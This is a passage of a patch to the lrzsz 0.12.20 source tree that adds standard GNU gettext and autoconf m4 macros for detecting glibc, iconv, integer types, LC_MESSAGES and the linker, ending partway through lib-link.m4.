-+ AC_REQUIRE([AC_PROG_RANLIB])dnl
-+ AC_REQUIRE([AC_ISC_POSIX])dnl
-+ AC_REQUIRE([AC_HEADER_STDC])dnl
-+ AC_REQUIRE([AC_C_CONST])dnl
-+ AC_REQUIRE([bh_C_SIGNED])dnl
-+ AC_REQUIRE([AC_C_INLINE])dnl
-+ AC_REQUIRE([AC_TYPE_OFF_T])dnl
-+ AC_REQUIRE([AC_TYPE_SIZE_T])dnl
-+ AC_REQUIRE([jm_AC_TYPE_LONG_LONG])dnl
-+ AC_REQUIRE([gt_TYPE_LONGDOUBLE])dnl
-+ AC_REQUIRE([gt_TYPE_WCHAR_T])dnl
-+ AC_REQUIRE([gt_TYPE_WINT_T])dnl
-+ AC_REQUIRE([jm_AC_HEADER_INTTYPES_H])
-+ AC_REQUIRE([jm_AC_HEADER_STDINT_H])
-+ AC_REQUIRE([gt_TYPE_INTMAX_T])
-+ AC_REQUIRE([gt_PRINTF_POSIX])
-+ AC_REQUIRE([AC_FUNC_ALLOCA])dnl
-+ AC_REQUIRE([AC_FUNC_MMAP])dnl
-+ AC_REQUIRE([jm_GLIBC21])dnl
-+ AC_REQUIRE([gt_INTDIV0])dnl
-+ AC_REQUIRE([jm_AC_TYPE_UINTMAX_T])dnl
-+ AC_REQUIRE([gt_HEADER_INTTYPES_H])dnl
-+ AC_REQUIRE([gt_INTTYPES_PRI])dnl
-+ AC_REQUIRE([gl_XSIZE])dnl
-+
-+ AC_CHECK_TYPE([ptrdiff_t], ,
-+ [AC_DEFINE([ptrdiff_t], [long],
-+ [Define as the type of the result of subtracting two pointers, if the system doesn't define it.])
-+ ])
-+ AC_CHECK_HEADERS([argz.h limits.h locale.h nl_types.h malloc.h stddef.h \
-+stdlib.h string.h unistd.h sys/param.h])
-+ AC_CHECK_FUNCS([asprintf fwprintf getcwd getegid geteuid getgid getuid \
-+mempcpy munmap putenv setenv setlocale snprintf stpcpy strcasecmp strdup \
-+strtoul tsearch wcslen __argz_count __argz_stringify __argz_next \
-+__fsetlocking])
-+
-+ dnl Use the _snprintf function only if it is declared (because on NetBSD it
-+ dnl is defined as a weak alias of snprintf; we prefer to use the latter).
-+ gt_CHECK_DECL(_snprintf, [#include <stdio.h>])
-+ gt_CHECK_DECL(_snwprintf, [#include <stdio.h>])
-+
-+ dnl Use the *_unlocked functions only if they are declared.
-+ dnl (because some of them were defined without being declared in Solaris
-+ dnl 2.5.1 but were removed in Solaris 2.6, whereas we want binaries built
-+ dnl on Solaris 2.5.1 to run on Solaris 2.6).
-+ dnl Don't use AC_CHECK_DECLS because it isn't supported in autoconf-2.13.
-+ gt_CHECK_DECL(feof_unlocked, [#include <stdio.h>])
-+ gt_CHECK_DECL(fgets_unlocked, [#include <stdio.h>])
-+ gt_CHECK_DECL(getc_unlocked, [#include <stdio.h>])
-+
-+ case $gt_cv_func_printf_posix in
-+ *yes) HAVE_POSIX_PRINTF=1 ;;
-+ *) HAVE_POSIX_PRINTF=0 ;;
-+ esac
-+ AC_SUBST([HAVE_POSIX_PRINTF])
-+ if test "$ac_cv_func_asprintf" = yes; then
-+ HAVE_ASPRINTF=1
-+ else
-+ HAVE_ASPRINTF=0
-+ fi
-+ AC_SUBST([HAVE_ASPRINTF])
-+ if test "$ac_cv_func_snprintf" = yes; then
-+ HAVE_SNPRINTF=1
-+ else
-+ HAVE_SNPRINTF=0
-+ fi
-+ AC_SUBST([HAVE_SNPRINTF])
-+ if test "$ac_cv_func_wprintf" = yes; then
-+ HAVE_WPRINTF=1
-+ else
-+ HAVE_WPRINTF=0
-+ fi
-+ AC_SUBST([HAVE_WPRINTF])
-+
-+ AM_ICONV
-+ AM_LANGINFO_CODESET
-+ if test $ac_cv_header_locale_h = yes; then
-+ AM_LC_MESSAGES
-+ fi
-+
-+ dnl intl/plural.c is generated from intl/plural.y. It requires bison,
-+ dnl because plural.y uses bison specific features. It requires at least
-+ dnl bison-1.26 because earlier versions generate a plural.c that doesn't
-+ dnl compile.
-+ dnl bison is only needed for the maintainer (who touches plural.y). But in
-+ dnl order to avoid separate Makefiles or --enable-maintainer-mode, we put
-+ dnl the rule in general Makefile. Now, some people carelessly touch the
-+ dnl files or have a broken "make" program, hence the plural.c rule will
-+ dnl sometimes fire. To avoid an error, defines BISON to ":" if it is not
-+ dnl present or too old.
-+ AC_CHECK_PROGS([INTLBISON], [bison])
-+ if test -z "$INTLBISON"; then
-+ ac_verc_fail=yes
-+ else
-+ dnl Found it, now check the version.
-+ AC_MSG_CHECKING([version of bison])
-+changequote(<<,>>)dnl
-+ ac_prog_version=`$INTLBISON --version 2>&1 | sed -n 's/^.*GNU Bison.* \([0-9]*\.[0-9.]*\).*$/\1/p'`
-+ case $ac_prog_version in
-+ '') ac_prog_version="v. ?.??, bad"; ac_verc_fail=yes;;
-+ 1.2[6-9]* | 1.[3-9][0-9]* | [2-9].*)
-+changequote([,])dnl
-+ ac_prog_version="$ac_prog_version, ok"; ac_verc_fail=no;;
-+ *) ac_prog_version="$ac_prog_version, bad"; ac_verc_fail=yes;;
-+ esac
-+ AC_MSG_RESULT([$ac_prog_version])
-+ fi
-+ if test $ac_verc_fail = yes; then
-+ INTLBISON=:
-+ fi
-+])
-+
-+
-+dnl gt_CHECK_DECL(FUNC, INCLUDES)
-+dnl Check whether a function is declared.
-+AC_DEFUN([gt_CHECK_DECL],
-+[
-+ AC_CACHE_CHECK([whether $1 is declared], ac_cv_have_decl_$1,
-+ [AC_TRY_COMPILE([$2], [
-+#ifndef $1
-+ char *p = (char *) $1;
-+#endif
-+], ac_cv_have_decl_$1=yes, ac_cv_have_decl_$1=no)])
-+ if test $ac_cv_have_decl_$1 = yes; then
-+ gt_value=1
-+ else
-+ gt_value=0
-+ fi
-+ AC_DEFINE_UNQUOTED([HAVE_DECL_]translit($1, [a-z], [A-Z]), [$gt_value],
-+ [Define to 1 if you have the declaration of `$1', and to 0 if you don't.])
-+])
-+
-+
-+dnl Usage: AM_GNU_GETTEXT_VERSION([gettext-version])
-+AC_DEFUN([AM_GNU_GETTEXT_VERSION], [])
---- lrzsz-0.12.20.safe/m4/glibc21.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/glibc21.m4 2004-09-12 14:40:34.833675432 -0400
-@@ -0,0 +1,32 @@
-+# glibc21.m4 serial 2 (fileutils-4.1.3, gettext-0.10.40)
-+dnl Copyright (C) 2000-2002 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+
-+# Test for the GNU C Library, version 2.1 or newer.
-+# From Bruno Haible.
-+
-+AC_DEFUN([jm_GLIBC21],
-+ [
-+ AC_CACHE_CHECK(whether we are using the GNU C Library 2.1 or newer,
-+ ac_cv_gnu_library_2_1,
-+ [AC_EGREP_CPP([Lucky GNU user],
-+ [
-+#include <features.h>
-+#ifdef __GNU_LIBRARY__
-+ #if (__GLIBC__ == 2 && __GLIBC_MINOR__ >= 1) || (__GLIBC__ > 2)
-+ Lucky GNU user
-+ #endif
-+#endif
-+ ],
-+ ac_cv_gnu_library_2_1=yes,
-+ ac_cv_gnu_library_2_1=no)
-+ ]
-+ )
-+ AC_SUBST(GLIBC21)
-+ GLIBC21="$ac_cv_gnu_library_2_1"
-+ ]
-+)
---- lrzsz-0.12.20.safe/m4/iconv.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/iconv.m4 2004-09-12 14:40:34.839674520 -0400
-@@ -0,0 +1,103 @@
-+# iconv.m4 serial AM4 (gettext-0.11.3)
-+dnl Copyright (C) 2000-2002 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+
-+dnl From Bruno Haible.
-+
-+AC_DEFUN([AM_ICONV_LINKFLAGS_BODY],
-+[
-+ dnl Prerequisites of AC_LIB_LINKFLAGS_BODY.
-+ AC_REQUIRE([AC_LIB_PREPARE_PREFIX])
-+ AC_REQUIRE([AC_LIB_RPATH])
-+
-+ dnl Search for libiconv and define LIBICONV, LTLIBICONV and INCICONV
-+ dnl accordingly.
-+ AC_LIB_LINKFLAGS_BODY([iconv])
-+])
-+
-+AC_DEFUN([AM_ICONV_LINK],
-+[
-+ dnl Some systems have iconv in libc, some have it in libiconv (OSF/1 and
-+ dnl those with the standalone portable GNU libiconv installed).
-+
-+ dnl Search for libiconv and define LIBICONV, LTLIBICONV and INCICONV
-+ dnl accordingly.
-+ AC_REQUIRE([AM_ICONV_LINKFLAGS_BODY])
-+
-+ dnl Add $INCICONV to CPPFLAGS before performing the following checks,
-+ dnl because if the user has installed libiconv and not disabled its use
-+ dnl via --without-libiconv-prefix, he wants to use it. The first
-+ dnl AC_TRY_LINK will then fail, the second AC_TRY_LINK will succeed.
-+ am_save_CPPFLAGS="$CPPFLAGS"
-+ AC_LIB_APPENDTOVAR([CPPFLAGS], [$INCICONV])
-+
-+ AC_CACHE_CHECK(for iconv, am_cv_func_iconv, [
-+ am_cv_func_iconv="no, consider installing GNU libiconv"
-+ am_cv_lib_iconv=no
-+ AC_TRY_LINK([#include <stdlib.h>
-+#include <iconv.h>],
-+ [iconv_t cd = iconv_open("","");
-+ iconv(cd,NULL,NULL,NULL,NULL);
-+ iconv_close(cd);],
-+ am_cv_func_iconv=yes)
-+ if test "$am_cv_func_iconv" != yes; then
-+ am_save_LIBS="$LIBS"
-+ LIBS="$LIBS $LIBICONV"
-+ AC_TRY_LINK([#include <stdlib.h>
-+#include <iconv.h>],
-+ [iconv_t cd = iconv_open("","");
-+ iconv(cd,NULL,NULL,NULL,NULL);
-+ iconv_close(cd);],
-+ am_cv_lib_iconv=yes
-+ am_cv_func_iconv=yes)
-+ LIBS="$am_save_LIBS"
-+ fi
-+ ])
-+ if test "$am_cv_func_iconv" = yes; then
-+ AC_DEFINE(HAVE_ICONV, 1, [Define if you have the iconv() function.])
-+ fi
-+ if test "$am_cv_lib_iconv" = yes; then
-+ AC_MSG_CHECKING([how to link with libiconv])
-+ AC_MSG_RESULT([$LIBICONV])
-+ else
-+ dnl If $LIBICONV didn't lead to a usable library, we don't need $INCICONV
-+ dnl either.
-+ CPPFLAGS="$am_save_CPPFLAGS"
-+ LIBICONV=
-+ LTLIBICONV=
-+ fi
-+ AC_SUBST(LIBICONV)
-+ AC_SUBST(LTLIBICONV)
-+])
-+
-+AC_DEFUN([AM_ICONV],
-+[
-+ AM_ICONV_LINK
-+ if test "$am_cv_func_iconv" = yes; then
-+ AC_MSG_CHECKING([for iconv declaration])
-+ AC_CACHE_VAL(am_cv_proto_iconv, [
-+ AC_TRY_COMPILE([
-+#include <stdlib.h>
-+#include <iconv.h>
-+extern
-+#ifdef __cplusplus
-+"C"
-+#endif
-+#if defined(__STDC__) || defined(__cplusplus)
-+size_t iconv (iconv_t cd, char * *inbuf, size_t *inbytesleft, char * *outbuf, size_t *outbytesleft);
-+#else
-+size_t iconv();
-+#endif
-+], [], am_cv_proto_iconv_arg1="", am_cv_proto_iconv_arg1="const")
-+ am_cv_proto_iconv="extern size_t iconv (iconv_t cd, $am_cv_proto_iconv_arg1 char * *inbuf, size_t *inbytesleft, char * *outbuf, size_t *outbytesleft);"])
-+ am_cv_proto_iconv=`echo "[$]am_cv_proto_iconv" | tr -s ' ' | sed -e 's/( /(/'`
-+ AC_MSG_RESULT([$]{ac_t:-
-+ }[$]am_cv_proto_iconv)
-+ AC_DEFINE_UNQUOTED(ICONV_CONST, $am_cv_proto_iconv_arg1,
-+ [Define as const if the declaration of iconv() needs const.])
-+ fi
-+])
---- lrzsz-0.12.20.safe/m4/intdiv0.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/intdiv0.m4 2004-09-12 14:40:34.845673608 -0400
-@@ -0,0 +1,72 @@
-+# intdiv0.m4 serial 1 (gettext-0.11.3)
-+dnl Copyright (C) 2002 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+
-+dnl From Bruno Haible.
-+
-+AC_DEFUN([gt_INTDIV0],
-+[
-+ AC_REQUIRE([AC_PROG_CC])dnl
-+ AC_REQUIRE([AC_CANONICAL_HOST])dnl
-+
-+ AC_CACHE_CHECK([whether integer division by zero raises SIGFPE],
-+ gt_cv_int_divbyzero_sigfpe,
-+ [
-+ AC_TRY_RUN([
-+#include <stdlib.h>
-+#include <signal.h>
-+
-+static void
-+#ifdef __cplusplus
-+sigfpe_handler (int sig)
-+#else
-+sigfpe_handler (sig) int sig;
-+#endif
-+{
-+ /* Exit with code 0 if SIGFPE, with code 1 if any other signal. */
-+ exit (sig != SIGFPE);
-+}
-+
-+int x = 1;
-+int y = 0;
-+int z;
-+int nan;
-+
-+int main ()
-+{
-+ signal (SIGFPE, sigfpe_handler);
-+/* IRIX and AIX (when "xlc -qcheck" is used) yield signal SIGTRAP. */
-+#if (defined (__sgi) || defined (_AIX)) && defined (SIGTRAP)
-+ signal (SIGTRAP, sigfpe_handler);
-+#endif
-+/* Linux/SPARC yields signal SIGILL. */
-+#if defined (__sparc__) && defined (__linux__)
-+ signal (SIGILL, sigfpe_handler);
-+#endif
-+
-+ z = x / y;
-+ nan = y / y;
-+ exit (1);
-+}
-+], gt_cv_int_divbyzero_sigfpe=yes, gt_cv_int_divbyzero_sigfpe=no,
-+ [
-+ # Guess based on the CPU.
-+ case "$host_cpu" in
-+ alpha* | i[34567]86 | m68k | s390*)
-+ gt_cv_int_divbyzero_sigfpe="guessing yes";;
-+ *)
-+ gt_cv_int_divbyzero_sigfpe="guessing no";;
-+ esac
-+ ])
-+ ])
-+ case "$gt_cv_int_divbyzero_sigfpe" in
-+ *yes) value=1;;
-+ *) value=0;;
-+ esac
-+ AC_DEFINE_UNQUOTED(INTDIV0_RAISES_SIGFPE, $value,
-+ [Define if integer division by zero raises signal SIGFPE.])
-+])
---- lrzsz-0.12.20.safe/m4/intmax.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/intmax.m4 2004-09-12 14:40:34.855672088 -0400
-@@ -0,0 +1,32 @@
-+# intmax.m4 serial 1 (gettext-0.12)
-+dnl Copyright (C) 2002-2003 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+
-+dnl From Bruno Haible.
-+dnl Test whether the system has the 'intmax_t' type, but don't attempt to
-+dnl find a replacement if it is lacking.
-+
-+AC_DEFUN([gt_TYPE_INTMAX_T],
-+[
-+ AC_REQUIRE([jm_AC_HEADER_INTTYPES_H])
-+ AC_REQUIRE([jm_AC_HEADER_STDINT_H])
-+ AC_CACHE_CHECK(for intmax_t, gt_cv_c_intmax_t,
-+ [AC_TRY_COMPILE([
-+#include <stddef.h>
-+#include <stdlib.h>
-+#if HAVE_STDINT_H_WITH_UINTMAX
-+#include <stdint.h>
-+#endif
-+#if HAVE_INTTYPES_H_WITH_UINTMAX
-+#include <inttypes.h>
-+#endif
-+], [intmax_t x = -1;], gt_cv_c_intmax_t=yes, gt_cv_c_intmax_t=no)])
-+ if test $gt_cv_c_intmax_t = yes; then
-+ AC_DEFINE(HAVE_INTMAX_T, 1,
-+ [Define if you have the 'intmax_t' type in <stdint.h> or <inttypes.h>.])
-+ fi
-+])
---- lrzsz-0.12.20.safe/m4/inttypes_h.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/inttypes_h.m4 2004-09-12 14:40:34.868670112 -0400
-@@ -0,0 +1,28 @@
-+# inttypes_h.m4 serial 5 (gettext-0.12)
-+dnl Copyright (C) 1997-2003 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+
-+dnl From Paul Eggert.
-+
-+# Define HAVE_INTTYPES_H_WITH_UINTMAX if <inttypes.h> exists,
-+# doesn't clash with <sys/types.h>, and declares uintmax_t.
-+
-+AC_DEFUN([jm_AC_HEADER_INTTYPES_H],
-+[
-+ AC_CACHE_CHECK([for inttypes.h], jm_ac_cv_header_inttypes_h,
-+ [AC_TRY_COMPILE(
-+ [#include <sys/types.h>
-+#include <inttypes.h>],
-+ [uintmax_t i = (uintmax_t) -1;],
-+ jm_ac_cv_header_inttypes_h=yes,
-+ jm_ac_cv_header_inttypes_h=no)])
-+ if test $jm_ac_cv_header_inttypes_h = yes; then
-+ AC_DEFINE_UNQUOTED(HAVE_INTTYPES_H_WITH_UINTMAX, 1,
-+ [Define if <inttypes.h> exists, doesn't clash with <sys/types.h>,
-+ and declares uintmax_t. ])
-+ fi
-+])
---- lrzsz-0.12.20.safe/m4/inttypes.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/inttypes.m4 2004-09-12 14:40:34.861671176 -0400
-@@ -0,0 +1,27 @@
-+# inttypes.m4 serial 1 (gettext-0.11.4)
-+dnl Copyright (C) 1997-2002 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+
-+dnl From Paul Eggert.
-+
-+# Define HAVE_INTTYPES_H if <inttypes.h> exists and doesn't clash with
-+# <sys/types.h>.
-+
-+AC_DEFUN([gt_HEADER_INTTYPES_H],
-+[
-+ AC_CACHE_CHECK([for inttypes.h], gt_cv_header_inttypes_h,
-+ [
-+ AC_TRY_COMPILE(
-+ [#include <sys/types.h>
-+#include <inttypes.h>],
-+ [], gt_cv_header_inttypes_h=yes, gt_cv_header_inttypes_h=no)
-+ ])
-+ if test $gt_cv_header_inttypes_h = yes; then
-+ AC_DEFINE_UNQUOTED(HAVE_INTTYPES_H, 1,
-+ [Define if <inttypes.h> exists and doesn't clash with <sys/types.h>.])
-+ fi
-+])
---- lrzsz-0.12.20.safe/m4/inttypes-pri.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/inttypes-pri.m4 2004-09-12 14:40:34.874669200 -0400
-@@ -0,0 +1,32 @@
-+# inttypes-pri.m4 serial 1 (gettext-0.11.4)
-+dnl Copyright (C) 1997-2002 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+
-+dnl From Bruno Haible.
-+
-+# Define PRI_MACROS_BROKEN if <inttypes.h> exists and defines the PRI*
-+# macros to non-string values. This is the case on AIX 4.3.3.
-+
-+AC_DEFUN([gt_INTTYPES_PRI],
-+[
-+ AC_REQUIRE([gt_HEADER_INTTYPES_H])
-+ if test $gt_cv_header_inttypes_h = yes; then
-+ AC_CACHE_CHECK([whether the inttypes.h PRIxNN macros are broken],
-+ gt_cv_inttypes_pri_broken,
-+ [
-+ AC_TRY_COMPILE([#include <inttypes.h>
-+#ifdef PRId32
-+char *p = PRId32;
-+#endif
-+], [], gt_cv_inttypes_pri_broken=no, gt_cv_inttypes_pri_broken=yes)
-+ ])
-+ fi
-+ if test "$gt_cv_inttypes_pri_broken" = yes; then
-+ AC_DEFINE_UNQUOTED(PRI_MACROS_BROKEN, 1,
-+ [Define if <inttypes.h> exists and defines unusable PRI* macros.])
-+ fi
-+])
---- lrzsz-0.12.20.safe/m4/isc-posix.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/isc-posix.m4 2004-09-12 14:40:34.885667528 -0400
-@@ -0,0 +1,26 @@
-+# isc-posix.m4 serial 2 (gettext-0.11.2)
-+dnl Copyright (C) 1995-2002 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+
-+# This file is not needed with autoconf-2.53 and newer. Remove it in 2005.
-+
-+# This test replaces the one in autoconf.
-+# Currently this macro should have the same name as the autoconf macro
-+# because gettext's gettext.m4 (distributed in the automake package)
-+# still uses it. Otherwise, the use in gettext.m4 makes autoheader
-+# give these diagnostics:
-+# configure.in:556: AC_TRY_COMPILE was called before AC_ISC_POSIX
-+# configure.in:556: AC_TRY_RUN was called before AC_ISC_POSIX
-+
-+undefine([AC_ISC_POSIX])
-+
-+AC_DEFUN([AC_ISC_POSIX],
-+ [
-+ dnl This test replaces the obsolescent AC_ISC_POSIX kludge.
-+ AC_CHECK_LIB(cposix, strerror, [LIBS="$LIBS -lcposix"])
-+ ]
-+)
---- lrzsz-0.12.20.safe/m4/lcmessage.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/lcmessage.m4 2004-09-12 14:40:34.902664944 -0400
-@@ -0,0 +1,32 @@
-+# lcmessage.m4 serial 3 (gettext-0.11.3)
-+dnl Copyright (C) 1995-2002 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+dnl
-+dnl This file can can be used in projects which are not available under
-+dnl the GNU General Public License or the GNU Library General Public
-+dnl License but which still want to provide support for the GNU gettext
-+dnl functionality.
-+dnl Please note that the actual code of the GNU gettext library is covered
-+dnl by the GNU Library General Public License, and the rest of the GNU
-+dnl gettext package package is covered by the GNU General Public License.
-+dnl They are *not* in the public domain.
-+
-+dnl Authors:
-+dnl Ulrich Drepper <drepper@cygnus.com>, 1995.
-+
-+# Check whether LC_MESSAGES is available in <locale.h>.
-+
-+AC_DEFUN([AM_LC_MESSAGES],
-+[
-+ AC_CACHE_CHECK([for LC_MESSAGES], am_cv_val_LC_MESSAGES,
-+ [AC_TRY_LINK([#include <locale.h>], [return LC_MESSAGES],
-+ am_cv_val_LC_MESSAGES=yes, am_cv_val_LC_MESSAGES=no)])
-+ if test $am_cv_val_LC_MESSAGES = yes; then
-+ AC_DEFINE(HAVE_LC_MESSAGES, 1,
-+ [Define if your <locale.h> file defines LC_MESSAGES.])
-+ fi
-+])
---- lrzsz-0.12.20.safe/m4/lib-ld.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/lib-ld.m4 2004-09-12 14:40:34.908664032 -0400
-@@ -0,0 +1,112 @@
-+# lib-ld.m4 serial 3 (gettext-0.13)
-+dnl Copyright (C) 1996-2003 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+
-+dnl Subroutines of libtool.m4,
-+dnl with replacements s/AC_/AC_LIB/ and s/lt_cv/acl_cv/ to avoid collision
-+dnl with libtool.m4.
-+
-+dnl From libtool-1.4. Sets the variable with_gnu_ld to yes or no.
-+AC_DEFUN([AC_LIB_PROG_LD_GNU],
-+[AC_CACHE_CHECK([if the linker ($LD) is GNU ld], acl_cv_prog_gnu_ld,
-+[# I'd rather use --version here, but apparently some GNU ld's only accept -v.
-+case `$LD -v 2>&1 </dev/null` in
-+*GNU* | *'with BFD'*)
-+ acl_cv_prog_gnu_ld=yes ;;
-+*)
-+ acl_cv_prog_gnu_ld=no ;;
-+esac])
-+with_gnu_ld=$acl_cv_prog_gnu_ld
-+])
-+
-+dnl From libtool-1.4. Sets the variable LD.
-+AC_DEFUN([AC_LIB_PROG_LD],
-+[AC_ARG_WITH(gnu-ld,
-+[ --with-gnu-ld assume the C compiler uses GNU ld [default=no]],
-+test "$withval" = no || with_gnu_ld=yes, with_gnu_ld=no)
-+AC_REQUIRE([AC_PROG_CC])dnl
-+AC_REQUIRE([AC_CANONICAL_HOST])dnl
-+# Prepare PATH_SEPARATOR.
-+# The user is always right.
-+if test "${PATH_SEPARATOR+set}" != set; then
-+ echo "#! /bin/sh" >conf$$.sh
-+ echo "exit 0" >>conf$$.sh
-+ chmod +x conf$$.sh
-+ if (PATH="/nonexistent;."; conf$$.sh) >/dev/null 2>&1; then
-+ PATH_SEPARATOR=';'
-+ else
-+ PATH_SEPARATOR=:
-+ fi
-+ rm -f conf$$.sh
-+fi
-+ac_prog=ld
-+if test "$GCC" = yes; then
-+ # Check if gcc -print-prog-name=ld gives a path.
-+ AC_MSG_CHECKING([for ld used by GCC])
-+ case $host in
-+ *-*-mingw*)
-+ # gcc leaves a trailing carriage return which upsets mingw
-+ ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;;
-+ *)
-+ ac_prog=`($CC -print-prog-name=ld) 2>&5` ;;
-+ esac
-+ case $ac_prog in
-+ # Accept absolute paths.
-+ [[\\/]* | [A-Za-z]:[\\/]*)]
-+ [re_direlt='/[^/][^/]*/\.\./']
-+ # Canonicalize the path of ld
-+ ac_prog=`echo $ac_prog| sed 's%\\\\%/%g'`
-+ while echo $ac_prog | grep "$re_direlt" > /dev/null 2>&1; do
-+ ac_prog=`echo $ac_prog| sed "s%$re_direlt%/%"`
-+ done
-+ test -z "$LD" && LD="$ac_prog"
-+ ;;
-+ "")
-+ # If it fails, then pretend we aren't using GCC.
-+ ac_prog=ld
-+ ;;
-+ *)
-+ # If it is relative, then search for the first ld in PATH.
-+ with_gnu_ld=unknown
-+ ;;
-+ esac
-+elif test "$with_gnu_ld" = yes; then
-+ AC_MSG_CHECKING([for GNU ld])
-+else
-+ AC_MSG_CHECKING([for non-GNU ld])
-+fi
-+AC_CACHE_VAL(acl_cv_path_LD,
-+[if test -z "$LD"; then
-+ IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS="${IFS}${PATH_SEPARATOR-:}"
-+ for ac_dir in $PATH; do
-+ test -z "$ac_dir" && ac_dir=.
-+ if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then
-+ acl_cv_path_LD="$ac_dir/$ac_prog"
-+ # Check to see if the program is GNU ld. I'd rather use --version,
-+ # but apparently some GNU ld's only accept -v.
-+ # Break only if it was the GNU/non-GNU ld that we prefer.
-+ case `"$acl_cv_path_LD" -v 2>&1 < /dev/null` in
-+ *GNU* | *'with BFD'*)
-+ test "$with_gnu_ld" != no && break ;;
-+ *)
-+ test "$with_gnu_ld" != yes && break ;;
-+ esac
-+ fi
-+ done
-+ IFS="$ac_save_ifs"
-+else
-+ acl_cv_path_LD="$LD" # Let the user override the test with a path.
-+fi])
-+LD="$acl_cv_path_LD"
-+if test -n "$LD"; then
-+ AC_MSG_RESULT($LD)
-+else
-+ AC_MSG_RESULT(no)
-+fi
-+test -z "$LD" && AC_MSG_ERROR([no acceptable ld found in \$PATH])
-+AC_LIB_PROG_LD_GNU
-+])
---- lrzsz-0.12.20.safe/m4/lib-link.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/lib-link.m4 2004-09-12 14:40:34.914663120 -0400
-@@ -0,0 +1,551 @@
-+# lib-link.m4 serial 4 (gettext-0.12)
-+dnl Copyright (C) 2001-2003 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+
-+dnl From Bruno Haible.
-+
-+dnl AC_LIB_LINKFLAGS(name [, dependencies]) searches for libname and
-+dnl the libraries corresponding to explicit and implicit dependencies.
-+dnl Sets and AC_SUBSTs the LIB${NAME} and LTLIB${NAME} variables and
-+dnl augments the CPPFLAGS variable.
-+AC_DEFUN([AC_LIB_LINKFLAGS],
-+[
-+ AC_REQUIRE([AC_LIB_PREPARE_PREFIX])
-+ AC_REQUIRE([AC_LIB_RPATH])
-+ define([Name],[translit([$1],[./-], [___])])
-+ define([NAME],[translit([$1],[abcdefghijklmnopqrstuvwxyz./-],
-+ [ABCDEFGHIJKLMNOPQRSTUVWXYZ___])])
-+ AC_CACHE_CHECK([how to link with lib[]$1], [ac_cv_lib[]Name[]_libs], [
-+ AC_LIB_LINKFLAGS_BODY([$1], [$2])
-+ ac_cv_lib[]Name[]_libs="$LIB[]NAME"
-+ ac_cv_lib[]Name[]_ltlibs="$LTLIB[]NAME"
-+ ac_cv_lib[]Name[]_cppflags="$INC[]NAME"
-+ ])
-+ LIB[]NAME="$ac_cv_lib[]Name[]_libs"
-+ LTLIB[]NAME="$ac_cv_lib[]Name[]_ltlibs"
-+ INC[]NAME="$ac_cv_lib[]Name[]_cppflags"
-+ AC_LIB_APPENDTOVAR([CPPFLAGS], [$INC]NAME)
-+ AC_SUBST([LIB]NAME)
-+ AC_SUBST([LTLIB]NAME)
-+ dnl Also set HAVE_LIB[]NAME so that AC_LIB_HAVE_LINKFLAGS can reuse the
-+ dnl results of this search when this library appears as a dependency.
